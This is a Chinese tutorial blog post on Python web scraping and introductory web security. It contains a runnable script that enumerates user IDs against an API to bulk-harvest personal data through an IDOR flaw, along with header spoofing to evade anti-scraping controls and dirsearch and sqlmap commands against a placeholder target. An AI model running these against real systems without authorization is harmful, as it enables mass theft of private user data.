Python 爬虫与信息安全应用：核心知识点 + 可运行代码精简复盘

Python 爬虫是数据采集的核心工具也是 Web 安全漏洞检测的基础技能。本文精简复盘爬虫开发、漏洞分析、安全工具的核心干货附可直接运行的实操代码兼顾技术落地与合规安全。一、核心知识体系精简版1. HTTP 流量分析与信息泄露漏洞通过 Burp Suite 抓包分析 HTTP 流量可发现user_data接口的ID 参数遍历漏洞网站未做权限校验修改 ID 参数即可批量获取用户敏感信息账号、密码、手机号等是典型的信息泄露风险。⚠️仅可在授权测试环境使用严禁非法操作python运行import requests, json def id_traversal(base_url, start1, end10): headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..., Referer: http://test.com/} user_data [] for uid in range(start, end1): try: # 动态替换ID参数 res requests.get(base_url.format(iduid), headersheaders, timeout5) res.raise_for_status() data res.json() user_data.append(data) print(fID{uid}数据获取成功) except Exception as e: print(fID{uid}失败{e}) # 保存数据 with open(user_data.json, w, encodingutf-8) as f: json.dump(user_data, f, ensure_asciiFalse, indent2) # 调用示例仅授权测试 if __name__ __main__: id_traversal(http://test-env.com/api/user_data?id{id}, 1, 5)2. Python 自动化脚本开发核心掌握爬虫必备语法def定义函数、for循环、import导入模块、try-except异常处理、请求头伪装UA/Referer/Cookie绕过反爬。通用爬虫基础模板可直接复用python运行import requests from bs4 import BeautifulSoup def base_spider(url): headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..., Referer: https://douban.com/, Cookie: 按需填写 } try: res requests.get(url, headersheaders, timeout10) res.raise_for_status() return BeautifulSoup(res.text, lxml) except Exception as e: print(f请求异常{e}) return None # 调用示例 if __name__ __main__: base_spider(https://movie.douban.com/chart)3. 爬虫技术原理爬虫核心流程发送请求→解析响应→定位数据→提取内容→输出结果用requests发请求BeautifulSoup/lxml解析XPath定位元素。豆瓣电影爬取实战精简版python运行import requests from bs4 import BeautifulSoup def douban_spider(): url https://movie.douban.com/chart headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..., Referer: https://movie.douban.com/} try: res requests.get(url, headersheaders, timeout10) soup BeautifulSoup(res.text, lxml) print( 豆瓣新片榜 ) for idx, movie in enumerate(soup.find_all(div, class_pl2), 1): title movie.find(a).get_text(stripTrue).split(/)[0] info movie.find(p, class_pl).get_text(stripTrue) print(f{idx}. {title} | {info}) except Exception as e: print(f爬取失败{e}) if __name__ __main__: douban_spider()4. JSON 数据处理JSON 是前后端通用数据格式核心是解析嵌套结构提取目标字段如 username、phone。嵌套 JSON 解析脚本python运行import json sample {code:200,data:{user_info:{username:test,phone:138****1234}}} def parse_json(json_str): data json.loads(json_str) user data[data][user_info] print(f用户名{user[username]}手机号{user[phone]}) return user if __name__ __main__: parse_json(sample)5. 安全工具应用dirsearch目录扫描工具常用命令python dirsearch.py -u http://target.com -w dict.txt可发现隐藏后台、源码泄露sqlmap自动化 SQL 注入检测工具常用命令python sqlmap.py -u http://target.com?id1⚠️ 所有测试必须获得书面授权遵守robots.txt和法律法规严禁非法入侵、窃取数据二、学习重难点精简版✅ 核心重点ID 参数遍历漏洞的原理与利用请求头伪装UA/Referer/Cookie绕过反爬try-except异常处理保障爬虫稳定性❌ 实操难点XPath 精准定位网页元素URL 动态参数format 方法批量请求嵌套 JSON 数据的层级解析三、总结爬虫与安全技术的核心是理解网络数据传输逻辑技术本身无好坏用途分正邪。所有操作必须在合法合规、获得授权的前提下开展严守安全红线才能真正用好技能、规避风险。⚠️ 最终合规重申爬虫仅可采集公开合法数据严格遵守robots.txt协议漏洞测试仅可在授权环境进行严禁非法获取、泄露他人隐私违者将承担相应法律责任